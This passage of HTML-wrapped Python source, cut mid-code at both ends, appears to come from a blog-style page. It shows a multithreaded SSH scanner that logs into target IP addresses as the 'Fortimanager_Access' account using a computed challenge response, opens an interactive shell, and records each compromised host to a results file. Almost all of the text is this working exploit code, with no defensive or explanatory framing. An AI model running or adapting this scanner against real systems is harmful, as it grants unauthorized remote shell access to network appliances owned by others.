base64.b64encode(&#8216;\\x00&#8217; * 12 + m.digest())&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;return [h]&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;def scan_host(targetIP):&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global file_mutex&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global results_fd&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;client = paramiko.SSHClient()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;client.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;try:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;client.connect(targetIP, username=&#8221;, allow_agent=False, look_for_keys=False,timeout=5)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;except paramiko.ssh_exception.SSHException:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;#print &#8220;debug:connect error&#8221;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;pass&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;trans = client.get_transport()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;try:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;trans.auth_password(username=&#8217;Fortimanager_Access&#8217;, password=&#8221;, event=None, fallback=True)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;except paramiko.ssh_exception.AuthenticationException:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;#print &#8220;debug:auth failed&#8221;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;pass&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;trans.auth_interactive(username=&#8217;Fortimanager_Access&#8217;, handler=custom_handler)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;chan = client.invoke_shell()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;oldtty = termios.tcgetattr(sys.stdin)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;try:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;tty.setraw(sys.stdin.fileno())&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;tty.setcbreak(sys.stdin.fileno())&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;chan.settimeout(0.0)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;r, w, e = select.select([chan, sys.stdin], [], [])&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if chan in r:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;try:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;x = u(chan.recv(1024))&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if len(x) == 0:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;sys.stdout.write(&#8216;\\r\\n*** EOF\\r\\n&#8217;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;sys.stdout.write(x)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;sys.stdout.flush()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;#available&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if file_mutex.acquire():&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;results_fd.seek(0,2)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;results_fd.write(targetIP+&#8221;\\n&#8221;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;results_fd.flush()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;file_mutex.release()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;except socket.timeout:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;#print &#8220;debug:socket timeout&#8221;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;pass&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;finally:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;def scan_thread(targetIP):&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global threadCount&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global mutex&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global scanCount&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;#lock&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if mutex.acquire():&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;threadCount+=1&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;mutex.release()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;try:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;scan_host(targetIP)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;except:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;pass&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;finally:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if 